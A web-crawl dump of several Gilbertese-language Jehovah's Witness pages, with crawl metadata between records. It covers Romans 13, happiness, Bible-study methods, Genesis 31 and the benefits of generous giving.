mena i aan Tatan. Ai rokoraoira n taina te kairiri aei! Mangaia are a kamanoaki taan rimwini Kristo man te katuturaraa ae kakamaaku are e rotiia natannaomata n te buaka arei. Ma ni moan 1929 ao a kabwarabwaraaki naba n ara boki bwa naake a mwiokoaki n te mwaaka n tautaeka n I-Rom 13:1 bon tiaki taan tautaeka, ma bon Iehova ao Iesu. E teimatoa ni kainnanoaki riki te ota ae eti.\n24 A kairaki taan rimwini Kristo n te taamnei ae raoiroi nakon te iango anne n 1962, ngke a boreetiaki kaongora aika rangi ni kakawaki ake a boboto i aon I-Rom 13:1-7 n Te Taua-n-Tantani ae bwain Nobembwa 15 ao Ritembwa 1. A a ota ngkai n te boto n reirei ae e tiatianaki te aantaeka are e kaotia Iesu n ana taeka ae tanoata ae kangai: \"Angani Kaitara akana ana bwai Kaitara, ma angan te Atua akana ana bwai te Atua.\" (Ruka 20:25) A a ota ngkai Kristian ni koaua bwa naake a mwiokoaki n te mwaaka n tautaeka bon taan tautaeka n te aonnaba aei ao a riai Kristian n aantaeka nakoia. Ma e riai n tiatianaki te aeka n aantaeka anne. Ngkana a tuangira taan tautaeka bwa ti na aki ongeaba iroun Iehova ae te Atua, ao ti na kaeka n aroia abotoro ngkoa ake a kangai: \"E riai riki bwa ti na ongeaba iroun te Atua bwa te tia tautaeka, nakon ae ti na ongeaba irouia aomata.\" (Mwa. 5:29) Ti na reiakina riki aroia ana aomata te Atua n ira te kaetieti ibukin te tei i nuka ni Mwakoro 13 ao 14 n te boki aei.\n25. E aera ngkai ko kakaitau n ana kairiri te taamnei ae raoiroi ni karekean otam n ana Tautaeka n Uea te Atua?\n25 Iangoi bwaai ni kabane ake a reiakinaki iai taan rimwini Kristo ibukin te Tautaeka n Uea n te tienture ae nako aei. Ti reiakinna iai bwa e kateaki n ningai ana Tautaeka n Uea te Atua i karawa ao tera aroni kakawakina. E a mataata iroura taiani kantaninga aika uoua ake a anganaki aomata aika kakaonimaki, ae kantaningaan te nako karawa ao kantaningaan te maiu n te aonnaba. Ao ti ataa arora ni kaotiota ara kakaonimaki ni koaua nakon ana Tautaeka n Uea te Atua, ngkai ti tabe n aantaeka n taian tautaeka n te aonnaba. Titirakiniko ni kangai, 'N na atai koaua aika kakawaki aikai ngke arona bwa e aki kaira ana toro ae kakaonimaki Iesu Kristo i aon te aba bwa e na ota n reirei aikai ao n angareirei iai?' Ai kabwaiara ngaira ngkai ti kairiraki irouni Kristo ao n te taamnei ae raoiroi!\n^ bar. 3 Ni kaineti ma te boki teuana, ao te taeka ni Kuriiti ibukini \"kairingkami\" ane n te kibu anne, e nanonaki iai \"kaotakin te kawai.\"\n^ bar. 7 Imwain anne, e iangoaki bwa e taekinaki n te miitara aei te buaka i marenaia beekan ake i Rom ao kaain te Aro ae tautaekanaki iroun te Bobe are i Rom.\n^ bar. 10 N Tun 1880 ao e kaotia te Zion's Watch Tower bwa kaain 144,000 bon I-Iutaia aika rairaki imwain 1914. Ma imwina riki n 1880, e a boreetiaki te ota ae e a kaan riki ma ae ti a taua nako ni karokoa ngkai.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/uea-te-atua\/te-koaua\/oota-n-taamnei\/","date":"2018-01-23T16:18:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891980.75\/warc\/CC-MAIN-20180123151545-20180123171545-00467.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":3492,"character_repetition_ratio":0.075,"word_repetition_ratio":0.006,"special_characters_ratio":0.24,"stopwords_ratio":0.455,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Taratara! Na. 1 2018 | Te Kawai Nakon te Kukurei\nTI NA KAREKEA IA TE KAIRIRI AE KONA N ONIMAKINAKI, IBUKIN TE MAIU AE KAKUKUREI?\nE kangai te Baibara: \"E a kukurei te aomata ae . . . kimwareirei n ana tua Iehova, ao e wareware n Ana tua ni karauraua bwanaana ni ngaina ao ni bong.\"—Taian Areru 119:1.\nNi kaongora aika itiua aikai ao a maroroakinaki iai booto n reirei aika kona n onimakinaki ake a a maan ni kakabonganaaki aika karekea te kukurei ae bati.\nKo iangoia bwa te aomata ngkoe ae ko kukukurei? Tera ae e karika kukurein te aomata?\nA bati aika iangoia bwa e reke te kukurei mani mwaitini bwaai ao te kaubwai. Ma e teimatoa te kukurei n te mwane ao te bwai? Tera ae e a tia n noraki?\nE kerikaaki kukurein te aomata n te aoraki?\nKaotiotan ao butimwaean te tangira, e kakawaki ibukini kukurein te aomata.\nTe maiu ae on n te un ao n te riribai e bon aki kakukurei ao e kona n rota marurungim.\nKarekeani kaeka aika karaunano ibukin titiraki aika kakawaki ibukin te maiu, bon iteran te kukurei ae kakawaki.\nA bati aika noria bwa e kangaanga te kukurei ngkana a aki koaua raoi ibukin taai aika imwaia ao ibukia aia koraki aika tangiraki irouia.\nA bati baika kona ni karekea kukurein te aomata ke aki kukureina. Reiakina te bwai n ibuobuoki ae akea boona aei ae kona ni buokiko ni kaekai am titiraki aika kakawaki ni maium.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taratara-na1-2018-maati-eberi\/","date":"2018-01-16T08:05:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886237.6\/warc\/CC-MAIN-20180116070444-20180116090444-00091.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":244,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.459,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Wareka te titiraki are nambwanaki ae turu riki, ao buoka kaain te auti bwa e na kaatuua ana iango n te boto n iango.\nWareka te barakirabe are imwina.\nWareki kiibu ake a manreireiti ao kabonganai titiraki n te aro ae riai ni buoka kaain te auti n ataia bwa a kangaa kiibu ni kaekaa te titiraki are nambwanaki.\nNgkana iai riki te barakirabe i aan te titiraki, manga kaoka te anga 2 ao 3. Ngkana iai te taamnei n te jw.org ae irekereke ma te titiraki are nambwanaki, kaotia n am tai ni maroro.\nNgkana ko na ataia bwa e ota raoi kaain te auti n te boto n iango, tuangnga bwa e na kaekaa te titiraki are nambwanaki.\nKo tangiria ni wareka te kaongora aei n %%?\nMaiura ni Kristian ao Ara Mwakuri ni Minita—Te Boki n Reirei | January 2016\nAroni Kairan te Reirei ni Kamanenaan te Boroutia ae te Rongorongo ae Raoiroi","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/tianuare-2016-mwb\/kaetieti-ibukin-te-botaki-tian4-10\/reirei-n-te-baibara-reirei-rongorongo-ae-raoiroi\/","date":"2018-01-19T06:32:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887746.35\/warc\/CC-MAIN-20180119045937-20180119065937-00694.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":151,"character_repetition_ratio":0.125,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.45,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n31 Imwina riki ao e ongo aia taeka natin Raban mwaane ae kangai: \"E anai ana bwai nako tamara Iakoba, ao e karekei kaubwai aikai ni kabane man ana bwai tamara.\"+ 2 Ao Iakoba ngkana e taraa matan Raban, ao e noria bwa ai tiaki aroarona nakoina are e tataneiai iai.+ 3 N tokina ao e taku Iehova nakon Iakoba: \"Okira abaia am bakatibu ao okiriia am koraki,+ ao N na memena iroum.\" 4 E kanakotaeka ngkanne Iakoba nakoia Rakera ma Rea bwa a na nakon te tawaana nakon ana nanai teuaei, 5 ao e taku nakoia: \"I noria bwa e a bitaki aroaron tamami nakoiu,+ ma e memena irou Atuan tamau.+ 6 Kam bon ataia bwa I a tia ni kabanea korakorau ni mwakuri iroun tamami.+ 7 Ma e kataia ni mwamwanaai tamami ao e bibita boou tebwina te tai, ma e aki kariaia te Atua bwa e na karaoa ae N na ruanikai iai. 8 Ngkana tao e kangai n te tai teuana, 'A na riki akana kiriwantanta bwa boom,' ao e a boni bane naba te nanai ni bungia aika kiriwantanta, ma ngkana e a manga kangai n te tai teuana, 'A na riki akana kakawaaki bwa boom,' ao e a boni bane naba te nanai ni bungia aika kakawaaki.+ 9 Mangaia are e teimatoa te Atua n anai ana nanai tamami mairouna ao e anganai. 10 N te tai are e ueke iai te kan iein iroun te nanai, ao I euta matau ao I noria n te mii bwa a iein ma te nanai kooti mwaane aika kakawaaki, a kiriwantanta, ao a kiritantan.+ 11 Ao e taku ana anera te Atua ae koaua nakoiu n te mii, 'Iakoba!' ao I kaeka ni kangai, 'Aio ngai.' 12 Ao e* reitia ni kangai, 'Euta matam taiaoka ao noria bwa kooti mwaane ni kabane aika iein ma te nanai boni kooti aika kakawaaki, a kiriwantanta, ao a kiritantan, bwa I nori bwaai ni kabane ake e karaoi Raban nakoim.+ 13 Bon te Atua ngai ae koaua are I kaoti nakoim i Betaera,+ ae te tabo are ko kabira iai te atibu ni kauring ni katabua ao ike ko taetae ni bau iai nakoiu.+ Teirake ngkai, naako man te aba aei ao okira te aba are ko bungiaki iai.'\"+ 14 Ao a kaekaa Rakera ma Rea ni kangai: \"Iai tibwangara ae tiku bwa ti na bwaibwai iai ni batan tamara? 15 Tiaki e iangoira bwa ianena man te tai are e kaboonakoira iai ao ni kabanea te mwane are e anganaki ibukira?+ 16 Bon ara bwai ao aia bwai natira kaubwai ni kabane ake e anai te Atua mairoun tamara.+ Mangaia ae karaoi bwaai ni kabane akana e tuangko te Atua bwa ko na karaoi.\"+ 17 E a teirake ngkanne Iakoba ao e katokaia natina ma buuna i aoia kamero,+ 18 ao e a kairiia ana nanai ni kabane ao e uotii ana bwai ni kabane ake e karekei,+ ana nanai ni man ake irouna ake e karekei i Batanaram, bwa e na nakon Itaaka are tamana n te aba are Kanaan.+ 19 Ao e tabe Raban ni korei buraeia ana tiibu ao e iraei bouannanti aika terebim*+ Rakera ake ana bwai tamana.+ 20 Ao e mwamwanaa Raban are te I-Aram Iakoba bwa e aki kaongoa taekani birinakona. 21 Ao e birinako Iakoba ma ana utu ma ana bwai ni kabane ake irouna ao e rinanon te Karaanga*+ nakon iterana are teuana. Ao e kaineta te aono ae maungaunga i Kireata.+ 22 N te katenua ni bong ao e a tuangaki Raban ae e birinako Iakoba. 23 Ngaia are e kairiia ana koraki ao e kaea ao e reke irouna imwin itibong, n te aono ae maungaunga i Kireata. 24 Ngke e a bong+ ao e roko te Atua iroun Raban are te I-Aram+ n te mii ao e taku nakoina: \"Tarataraa raoi te bwai ae ko na taekinna nakon Iakoba, ae raoiroi ke ae buakaka.\"*+ 25 Mangaia are Raban e kawara Iakoba ngke e a tia Iakoba ni katea ana umwanrianna n te maunga, ao Raban e katei ana umwanrianna ma ana koraki n te aono ae maungaunga i Kireata. 26 E taku ngkanne Raban nakon Iakoba: \"Tera ae ko karaoia? E aera ngkai ko mwamwanaai ma ni kairiianako natiu aine bwa kaanga taenikai aika tauaki n te kabaang? 27 E aera ngkai ko rabanako ma ni mwamwanaai ao ko aki tuangai? Ngke arona bwa ko tuangai ao I kona ni kanakoko ma te kimwareirei ao taian anene, ma te tamboriin* ao te abi. 28 Ma ko aki anganai au tai ni kaboria ma tibuu* ao natiu aine. Ko karaoa te aro n nanobaba. 29 Iai mwaakau ni karaoa ae iowawa nakoimi, ma e taetae Atuan tamami nakoiu ngkebong ni kangai, 'Tarataraa raoi te bwai ae ko na taekinna nakon Iakoba, ae raoiroi ke ae buakaka.'+ 30 Ma ngkai ko a nako ibukini kan okirani batan tamam, ao e aera ngkai ko iraei atuau?\"+ 31 E kaeka Iakoba ni kangai nakon Raban: \"I nako n te aro anne ibukina bwa I maaku, bwa n au iango tao ko na anaiia natim aine mairou ma te matoa. 32 E na bon aki maiu ane ko kunei irouna atuam. Kakaaei ribuakon au bwai i mataia ara koraki, n noria ngkana iai irou ao anaia.\" Ma e aki ataia Iakoba ae e iraei Rakera. 33 Mangaia are e rinnako Raban n ana umwanrianna Iakoba ao i nanon ana umwanrianna Rea ao i nanon aia umwanrianna tooro aine ake uoman,+ ma e aki kunei. E otinako ngkanne man ana umwanrianna Rea ao e rinnako n ana umwanrianna Rakera. 34 N te tai anne, e a tia Rakera n anai bouannanti aika terebim ao e kamenai i nanon aia bwaene aine ae bwain aon te kamero ao e tekatekani. Mangaia are e kabutaa te umwanrianna Raban ni kakaae ma e aki kunei. 35 E taku ngkanne nakon tamana: \"Tai un au toka bwa I aki kona n teirake i matam bwa I aoraki n aine.\"+ Mangaia are e karaurau ni kakaae nako riki teuaei ma e aki kunei bouannanti aika terebim.+ 36 Ngaia are e a un Iakoba ao e a tiriburea Raban. E taku ngkanne Iakoba nakon Raban: \"Tera ae I kauniko iai, ao tera au bure ae ko a boni kakorakorako iai ni kaeai? 37 Tera ae ko kunea ae bwaini batam ngkai ko a tia ni kakaae ribuakon au bwai ni kabane? Kaaki i mataia au koraki ma am koraki, ao kariaia bwa a na bairei taekara ni kauoman. 38 I nanon 20 te ririki are I mena iai iroum ao a tuai mani bwaka natiia+ am tiibu ma am kooti ngkana a bikoukou, ao I tuai mani kang tiibu mwaane man am nanai. 39 Ngkana e raebitiaki am man irouia maan ni kaakang,+ ao I aki uotia nakoim ma I boni kabooa mwina. Ngkana tao e iraeaki am man n te ngaina ke n te bong, ao ko boni kairoroa naba booni mwina mairou. 40 I bora n te riringa n te ngaina, ao n te mwaitoro n te bong, ao e birinako te kani matu mai matau.+ 41 Ai 20 te ririki botan au ririki ni mena ni batam, bwa I mwakuri iroum 14 te ririki ibukia natim aine aika uoman, ao 6 te ririki ibukin am nanai, ma ko bibita boou tebwina te tai.+ 42 Ngke arona bwa e aki tei n au itera Atuan tamau+ are Atuan Aberaam are Teuare maakua+ Itaaka, ao ko na boni kanakoai n akea au bwai. E nora rawawatau ma korakaini baiu te Atua ao anne bukina ae e boaiko iai ngkebong.\"+ 43 E kaekaa Iakoba ngkanne Raban ni kangai: \"Bon natiu naati aine aikai ao ataei aikai bon au koraki n ataei ao te nanai au nanai, ao bwaai ni kabane akana i matam bon au bwai ao aia bwai natiu aine. Tera ae I kona ni karaoia n te bong aei ni kaaitaraia naakai ao ni kaaitaraia natiia ake a a tia ni bungia? 44 Ti na karaoa ngkai te berita ngai ma ngkoe, ao e na riki bwa te bwai ni kakoaua i marenara.\" 45 Mangaia are e anaa te atibu Iakoba ao e kateia bwa te atibu ni kauring.+ 46 E tuangia ngkanne ana koraki Iakoba ni kangai: \"Anai atibu!\" Ao a anai atibu ao a kabwarikoi. Imwin anne ao a amwarake i aon te bwariko n atibu. 47 Ao e aranna Raban bwa Iekataaruta* ma e aranna Iakoba bwa Kareeta.* 48 E taku ngkanne Raban: \"Bon te bwai ni kakoaua i marenau ma ngkoe n te bong aei te bwariko n atibu aei.\" Anne bukina ae e aranna iai Iakoba bwa Kareeta+ 49 ao te Taua n Tantani,* bwa e kangai Raban: \"Ke e teimatoa Iehova n tantani i marenau ma ngkoe ngkana ti a raurenako. 50 Ngkana ko bwainikirinia natiu aine ao ngkana ko a manga karekeia buum irarikia natiu, ao uringnga bwa e ngae ngke e aki noraki irouia aomata, ma e bon noraki iroun te Atua ae ara tia kakoaua.\" 51 E reitia ni kangai Raban nakon Iakoba: \"Ao aei te bwariko n atibu ao aei te atibu ni kauring ae I kateia i marenau ma ngkoe. 52 Bon te bwai ni kakoaua te bwariko n atibu aei ao te bwai ni kaotioti+ te atibu ni kauring, bwa N na aki riaon te bwariko n atibu aei bwa N na karaoa ae iowawa nakoim, ao ko na aki riaon te bwariko n atibu aei ao te atibu ni kauring aei bwa ko na karaoa ae iowawa nakoiu. 53 Ke e motikitaeka i marenara Atuan Aberaam+ ao Atuan Naora ae Atuan tamaia.\" Ao e taetae n tuea Iakoba iroun Teuare e maakua tamana are Itaaka.+ 54 Imwin anne ao e anga te karea Iakoba n te maunga ao e kaoia ana koraki bwa a na amwarake. Mangaia are a amwarake ao a tiku n te maunga n te tairiki arei. 55 Ma e utimwaaka Raban n te ingabong, ao e kaboria ma tibuna*+ ao natina aine ao e kakabwaiaia.+ E a nako ngkanne Raban ao e okira mwengana.+\n^ E taetae te anera ibukin Iehova.\n^ Ke, \"atuaia kaain te utu; bouannanti.\"\n^ Ae taekan te Iuberetiti.\n^ Ebera, \"Tarataraiko bwa ko na aki taekina ae raoiroi ke ae buakaka nakon Iakoba.\"\n^ Nora Nanon Taeka.\n^ Ebera, \"natiu mwaane.\"\n^ Te taeka n Aramwaike ae nanona, \"Te Bwariko ni Kakoaua.\"\n^ Te taeka n Ebera ae nanona, \"Te Bwariko ni Kakoaua.\"\n^ Ke, \"Mitiba\" man te taetae n Ebera ae ham·Mits·pah.\n^ Ebera, \"natina mwaane.\"","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/karikani-bwaai\/31\/","date":"2018-01-18T08:40:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887077.23\/warc\/CC-MAIN-20180118071706-20180118091706-00018.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1727,"character_repetition_ratio":0.053,"word_repetition_ratio":0.012,"special_characters_ratio":0.248,"stopwords_ratio":0.427,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Karawa\nTera ae e taku te Baibara ibukin te tabo are e maeka iai te Atua? E mena naba iai Iesu?\nTe Riaboro ao Taimonio\nE koaua ae te Riaboro bon tii kaikonakan te buakaka ae mena i nanoia aomata, ke bon iai ngaia?\nE riki mai ia Tatan? Reiakinna bwa e aera ngke e taku Iesu bwa \"e aki teimatoa n te koaua\" te Riaboro.\nE taku te Baibara bwa e karenakoaki te Riaboro mai karawa. E nga ngkai Tatan?\nE kangaa te Riaboro ni kariria aomata, ao ko na kangaa n rarawa nakon ana bwai ni kamwane?\nE kaotaki n te Baibara nibwani karawawataaia aomata.\nAntai taimonio? A roko mai ia?","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/baibara-reirei\/titiraki\/ibukini-karawa\/","date":"2018-01-18T04:47:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887065.16\/warc\/CC-MAIN-20180118032119-20180118052119-00640.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":113,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.416,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"\"E KONA n nako te bwati ma e na tiku te I-Tiaina anne!\" Anne te bwai ae ongo Nei Alexandra ngke e tabe n tekateka i aon te bwati, n tataningaa are a nang rinanon tian aban Amerika Maiaki aika uoua. E ruo neiei bwa e na nora te bwai ae riki, ao e a nora te rorobuaka n ataei temanna ae te I-Tiaina bwa e a kabanea ana konaa n taetae n Tibein ni kataia ni kabwarabwaraa ana kangaanga nakon te tia tararuaa te tia. Kioina ngkai Alexandra boni kaain te ekaretia n te taetae n Tiaina n aia botaki Ana Tia Kakoaua Iehova, e a anganano bwa e na ibuobuoki n raitaeka.\nE taku teuaei bwa boni kaain te aba ngaia ae kinaaki i aan te tua, ma a kimoaaki ana beeba ake a karekea kariaiakan rinna n te aba teuana, ao ana mwane. N te moantai ao e aki butimwaea te rongorongo aei te tia mwakuri aei, ao e bon iangoa naba Alexandra bwa e irekereke ma kakaboonakoaia aomata. N tokina ao e a butimwaea ana kabwarabwara teuaei, ma e riai ni kabwakaa tuuaana te tia mwananga ae tekebuaka aei kioina ngkai akea beebani kariaiakana. Kioina ngkai akea ana mwane teuaei, e a anganano Alexandra bwa e na tangoa ana $20. E bane ana kakaitau teuaei nakon neiei ao e a tuanga neiei bwa e na kabwaraa ae raka riki nakon $20. E kabwarabwaraa ngkanne Alexandra bwa e aki kariaa te kaniwanga, ma e boni kukurei n ibuobuoki ibukina bwa e namakinna bwa te bwai ae riai ni karaoaki. E angan teuaei booki tabeua aika aanaki man te Baibara ao e kaungaa bwa e na reirei n te Baibara ma taani Kakoaua.\nE kaunganano ongoraean te mwakuri n tituaraoi nakoia ianena, ao akea te nanououa bwa e kakaraoaki naba anne irouia aomata aika kaain Aaro aika kakaokoro nako, ao irouia naba aomata aika akea aia Aro. Ko kani kakairi naba n te aroaro ae tabeakinaia aomata? E kakaongora te titiraki anne ibukina bwa e taku Iesu: \"E kakukurei riki te anga nakon te anganaki.\" (Mwakuri 20:35) E irekereke naba ma te rabakau n aonnaba ibukina bwa a kunea taani kakaae bwa e raoiroi ibukim bwainan te anganga. Ti na noria bwa n aaro raa.\nTE TIA \"ANGA MA KUKUREIN NANONA\"\nE kaotaki man te bae riki bwa e aki toki n irekereke te anganga ma te kukurei. E koreia te abotoro Bauro bwa \"te Atua e tangira ane e anga ma kukurein nanona.\" E taekinia Kristian ake a tituaraoi n anganga aia bwaintangira ibukini buokaia raoia n te onimaki ake a rinanon te kangaanga. (2 I-Korinto 8:4; 9:7) E aki taekinna Bauro bwa a anga ibukina bwa a kukurei. Ma boni kaitaraan raoi anne ae a kukurei ibukina bwa a kona n anganga.\nE oti n te kakaae teuana bwa ngkana e anga bwaai te aomata, ao \"a a mwamwakuri naba iai taabo tabeua n ana kaburoro aika irekereke ma te namakin ae kakukurei, te reitaki ma aomata, ao onimakinan te aomata, ao e unga iai nanon te aomata are te tia angabwai.\" N te kakaae riki teuana ao e kaotaki iai bwa \"ngkana e anga te mwane temanna nakon temanna, ao e rangi ni bati riki kimwareirein te tia anga anne nakoni kimwareireina ae e na reke ngkana e boni kabanea te mwane anne i bon ibukina.\"\nKo a tia n nanamakina ae ibukin te bae riki nakoim ao e a aki bati te bae ko kona ni karaoia? Ni koauana, a bane ni kona aomata n nora kakimwareirein 'te anga ma kukurein te nano.' Ngkana e anga te aomata ma nanona ae raoiroi, tiaki nanona bwa e riai ni bubura te mwaiti. E kanakoa te rongorongo ae kangai temanna Ana Tia Kakoaua Iehova nakon te tia boreetia te maekatin aei ma ana angabwai: \"I nanon ririki nako aikai ao e rangi n uarereke te mwaiti ni mwane ae I a tia n anganga n te Tabo n Taromauri.\" E a manga reitia ni kangai: \"Ma e a tia Iehova ae te Atua ni kaoka nakoiu ae bati riki nakon are I anga. . . . Ko rabwa ngkai ko a tia ni karekea te anga ae N na anga iai te bwaintangira aei. E rangi n rau nanou iai.\"\nE bon aki tii nanonaki n te anganga bwa ko na anga te mwane. A bati riki aanga n angabwai.\nE RAOIROI TE ANGANGA IBUKINI MARURUNGIN RABWATAM\nE taekinaki ae kangai n te Baibara: \"E kakabwaiaa i bon irouna te mwaane ae akoi, ma e karekea n te kangaanga i bon irouna te aomata ae iowawa.\" (Taeka N Rabakau 11:17) Aomata aika akoi a bon tituaraoi, a kukurei n anga ngaiia n aron aia tai, korakoraia, aia tararua, ao a a bati riki. E buokiia te aeka ni maiu aei n itera aika kakaokoro, ao ngaia te tituaraoi e raoiroi naba ibukini marurungin rabwataia.\nE kaotaki mani kukune aika karaoaki bwa te koraki ake a anganano ni buokiia aomata, e noraki bwa a karako marakia ma rawawataia ao rotakibuakaia. A bon rangi ni marurung raoi. E kona naba te tituaraoi nakoia aomata, ni karikirakea marurungin te aomata ae kakaiaki aorakina n aron te multiple sclerosis ke te AIDS. E noraki bwa aomata ake a kekeiaki n tokanikai i aon tangiran te arekooro ao ni buokiia aomata, a a tia ni buokaki naba man te mwakuri n anganga, bwa a aikoa rangi ni bwarannano, ao e a kangaanga riki bwa a na manga okira aroia n tautoronaki n te arekooro.\nAo ibukin aei, e a katereaki iai bwa \"namakinan te nanoanga, te atataiaomata ma te akoi, a boni kauarerekea te rawawatannano.\" Te anganga e kona ni kauarerekea naba te rawawata ma te rietata n raraa. Ao e kona ni waekoa n toki rawawataia aomata ake a a tia ni mate buuia, ngkana a a manga anga aia ibuobuoki nakoia tabemwaang.\nBon anne raoi te koaua. Ko na bon rotaki n te aro ae raoiroi man te anganga.\nA KONA NI BANE N ANGANGA AOMATA NAKO\nE kaumakiia taan rimwina Iesu ni kangai: \"Teimatoa n anganga ao ane kam na manga anganaki irouia aomata. A na kanoaa buuan ami kunnikai n te baire ae kororaoi ae kaibeibeaki ma n ioioaki ma n taonako. Bwa a na manga bairea nakoimi aomata te baire are kam baireia nakoia.\" (Ruka 6:38) Ngkana ko anganga, a na kai kabooa riki mwin am tituaraoi aomata ma te kakaitau ao a na bwabwaina naba te tituaraoi. Mangaia are e reke te kaai n ibuobuoki ao te iraorao man te anganga.\nA noria taani kakaae ake a kamatebwaia aron reitakia aomata, bwa \"aomata aika bwabwaina te atataiaomata, a kaungaia aomata nako bwa a na karaoa naba anne.\" Ni koauana, \"tii mani warekan taekan te mwakuri n akoi ae riao ao e a kairiia naba aomata bwa a na bwabwaina riki te tituaraoi.\" Ngaia are ni kaineti ma te kakaae teuana, \"ao temanna te aomata e kona n rotiia aomata aika mwaiti ke aika bubua ma bubua mwaitiia, ao tabeman i buakoia e bon aki kinaia ke e tuai ni bobo ma ngaiia mai mwaina.\" N taekana riki tabeua, e kona te mwakuri n tituaraoi ae tii teuana ni moana butina mairoun temanna nakon temanna ao n rotiia te koraki nako aika mena n te tabo teuana. Ko aki ngkanne kani maeka n tabo ae aekan anne? Eng, e bati te kakabwaia ae e na reke ngkana a bati riki aomata aika bwabwaina te anganga.\nE kabwarabwaraaki raoi mwin te mwakuri ae raoiroi aei n te rongorongo teuana mai Florida i U.S.A. A anganano tabeman kaain Ana Tia Kakoaua Iehova bwa a na karaoa te mwakuri n ibuobuoki imwin te angibuaka ae korakora ana urubwai. Ngke a tabe n tataningai aia bwai n onobwai n te auti are a na mwakuria, ao a a noria bwa e uruaki ana oo te aomata ae maeka i rarikin te auti arei, ngaia are a anganano bwa a na karaoia. E korea ae kangai te aomata arei n ana reta nakoni kautun aia botaki Ana Tia Kakoaua Iehova imwina riki: \"I teimatoa ni kakaitau. Naakai bon te koraki naba aika rangi n raoiroi aroia aika I a tia ni kaitiboo ma ngaiia.\" E kairaki n ana kakaitau bwa e na kanakoa ana angabwai ma te tituaraoi bwa e na kabonganaaki n te bwai ae e aranna bwa aia mwakuri ae rianako taani Kakoaua.\nKAKAIRI IROUN TE BANNA NI KATOTO AE MOAN TE KAKANNATO, IBUKIN TE ANGANGA\nTe kukune ae kamimi man aia ukeuke taan rabakau ni bwain te aonnaba bon taekan ae \"iai irouia aomata te aroaro ae kakawaki ae kaineti ma buokaia tabemwaang.\" E taku te kakaae teuana bwa ataei \"a a kaman ataa te atataiaomata imwain ae a bwaati n taetae.\" Bukin tera? E kaekaa aei te Baibara ngke e taekinna bwa a karikaki aomata 'ni katotongan te Atua' ae taekan ae iai irouia aroaron te Atua aika kakawaki.\nTe tituaraoi bon teuana mai buakon aroaron ara tia Karikiriki aika rangi n raraoi, ae Iehova ae te Atua. E a tia n anganira maiura ao bwaai nako ake ti kainnanoi bwa ti aonga ni kukurei. (Mwakuri 14:17; 17:26-28) Ti kona ni kinaa Tamara are i karawa ao n atai ana kantaninga ibukira aika tatangira ngkana ti reirei n ana Taeka ae te Baibara. E kaotaki naba n te boki anne bwa e katauraoi bwaai te Atua ibukini kukureira nakon taai aika a na roko. * (1 Ioane 4:9, 10) Kioina ngkai Iehova bon nibwan te tituaraoi ao ko karikaki ni katotongana, e aki riai ngkanne ni kamimi ngkai te kakairi iroun te Atua ni karaoan te mwakuri n anganga, bon te bwai ae raoiroi ibukim ao e reke iai akoam iroun te Atua.\nKo uringa Alexandra are taekinaki ni moan te kaongora aei? Tera ae e riki n tokin te karaki? E ngae ngke e taekinna temanna raona n toka n te bwati bwa e a tia neiei ni karenakoa ana mwane arei, ma e reitaki teuaei ma raoraona n te kaawa ae bubura are totoki iai te bwati, ao e waekoa naba ni kabwaraaki ana taarau are $20. Irarikin anne, e karaoa teuarei te baere e tuangaki iroun Alexandra ao e a moana ana reirei n te Baibara. E rangi ni kimwareirei neiei ngke e a manga kaitiboo ma teuaei tenua namwakaina imwina n aia bwabwaro Ana Tia Kakoaua Iehova n te taetae n Tiaina i Peru. Ibukini kaotan ana kakaitau teuaei ni bwaai nako ake e a tia Alexandra ni karaoi nakoina, e a kaoa neiei nakon ana tabo n amwarake ma raona ni mwananga nakon te bwabwaro.\nE boni karekea te kimwareirei ae bati te mwakuri n anganga ao n ibuobuoki nakoia aomata. E na kakimwareirei riki ngkana man am mwakuri anne ko a buokiia aomata bwa a na kinaa Teuare ngaia Nibwani bwaai 